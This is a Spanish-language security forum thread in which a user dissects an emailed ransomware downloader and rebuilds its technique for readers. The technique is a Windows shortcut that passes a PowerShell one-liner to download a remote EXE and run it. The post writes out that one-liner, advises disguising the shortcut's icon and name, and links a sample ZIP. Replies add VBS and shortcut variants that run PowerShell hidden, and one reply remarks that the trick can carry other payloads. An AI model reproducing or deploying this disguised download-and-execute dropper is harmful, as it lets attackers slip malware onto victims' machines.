Hola
Hace tiempo que no me paso por mi sección del foro favorita para compartir nuevas ideas... Recientemente ha llegado a mis manos un virus de tipo ramsonware oculto en un fichero zip (por e-mail), curiosamente mi antivirus no detectó la amenaza, así que me puse a destriparlo en mi VM.
El funcionamiento es muy básico, tras ejecutar el fichero que hay en el ZIP, se ejecuta un ejecutable EXE y se inicia la infección de los ficheros. Hasta aquí todo normal, excepto que el fichero ZIP ocupaba 1,26Kb (descomprimido eran 2Kb...) ¿Cómo podía un fichero de 2Kb cifrar de forma eficiente todos los fichero del disco? La respuesta era fácil, ese fichero de 2Kb no era el ramsonware, sino un pequeño fichero (downloader) que se descargaba una copia del EXE (ramsonware) desde internet y luego lo ejecutaba. Todo ello en un ficherito de 2Kb.
Tras mi análisis pude ver el truco, un simple acceso directo al proceso powershell.exe de Windows y una pequeña línea de código añadida como parámetro del propio acceso directo. Sublime!
El código para descargar y ejecutar un fichero desde internet en PowerShell sería el siguiente:
$c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c
La primera línea define una variable $c con el valor de "C:\Users\usuario_actual\tmp.exe"
La segunda línea crea un nuevo objeto del tipo WebClient y llama a su función DownloadFile, indicando la ruta y el destino ($c)
La tercera línea ejecuta el fichero descargado $c usando Start-Process.
Todo ese código se puede escribir en una sola línea y enviarlo como argumento directamente al proceso powershell.exe usando un acceso directo:
(http://i.imgur.com/pRPsDEU.png)
(http://i.imgur.com/uA1FoLy.png)
Editando el icono y el nombre podremos disimular el downloader todavía más. Quedando un único fichero de apenas 2Kb completamente funcional.
Os dejo un ejemplo para que entendáis el proceso, es completamente inofensivo. Este acceso directo os descargará y ejecutará el programa ProcessExplorer.exe desde internet
http://www.mediafire.com/download/kj3mtepo8h6zypu/musica.zip
Saludos!!
Muy bueno ;-)
La verdad es que está bien pensado por que al pasarlo por correo la gente lo descarga rápidamente al pesar poco pero claro el truco está en el donwloader gracias por compartir y a tener cuidado!
Muy interesante MadAntrax. :P
la verdad que esta bien el truco,porque esto serviria para meter en vez de un ramsomware otra cosa,mui interesante,otra cosilla para probar y que va para el baul.
saludos y gracias por el aporte.
Esta interesante el tema me gusto
Lo puedo compartir en mi blog
Saludos
Cita de: Flamer en 16 Febrero 2016, 17:33 PM
Esta interesante el tema me gusto
Lo puedo compartir en mi blog
Saludos
Claro!
Oye Mad Antrax se supone que los script de powershell vienen des habilitados en windows y como esta eso de que con un acceso directo puedes ejecutar comandos powershell.
He estado travesiando y se pueden ejecutar comandos powershell desde vbs como lo muestro en este codigo
set shell=createobject("wscript.shell")
power="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "
shell.run power & "&{$bytes = [System.IO.File]::ReadAllBytes('e:\45.png');foreach ($b in $bytes){$code = $code + '==' + $b};[System.IO.File]::WriteAllLines('e:\logger.txt', $code)}",0
y desde un acceso directo con esta ruta
Citar
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "&{$bytes = [System.IO.File]::ReadAllBytes('e:\45.png');foreach ($b in $bytes){$code = $code + '==' + $b};[System.IO.File]::WriteAllLines('e:\logger.txt', $code)}"
el codigo anterior lee un archivo binario .png desde la unidad E:\
saludos Flamer y no entiendo por que des habilitan los script .ps1 si se pueden ejecutar comandos desde otra parte
tengo una duda!!
Realice una prueba con el codigo
c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c
tengo una duda a que te refieres con tmp.exe seria de gran ayuda que me sacaras de esa duda.
Cita de: GUMEGA02 en 15 Abril 2016, 00:11 AM
tengo una duda!!
Realice una prueba con el codigo
c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c
tengo una duda a que te refieres con tmp.exe seria de gran ayuda que me sacaras de esa duda.
tmp.exe es el nombre que le dio al ejecutable descargado Mad Antrax pero es opcional le puedes poner otro si quieres
saludos Flamer
Esta técnica la sabía hace años
Cita de: lucke en 3 Junio 2016, 01:45 AM
Esta técnica la sabía hace años
Pues yo no te vi aportarla al foro :silbar:
Cita de: Inflamable!!! en 3 Junio 2016, 19:49 PM
Cita de: lucke en 3 Junio 2016, 01:45 AM
Esta técnica la sabía hace años
Pues yo no te vi aportarla al foro :silbar:
Ojo, pues este tipo de comentarios puede comenzar con discuciones que siempre terminan mal.
Mesura, por favor.
Saludos!
Cita de: MCKSys Argentina en 3 Junio 2016, 21:12 PM
Pues yo no te vi aportarla al foro :silbar:
Ojo, pues este tipo de comentarios puede comenzar con discuciones que siempre terminan mal.
Mesura, por favor.
Saludos!
Ok disculpas MCKYS,pero este tipo de comentarios que no vienen al caso y que solo busca menospreciar el aporte,son los que hacen que la gente deje de aportar cosas al foro y no me pude aguantar en decirlo.
saludos.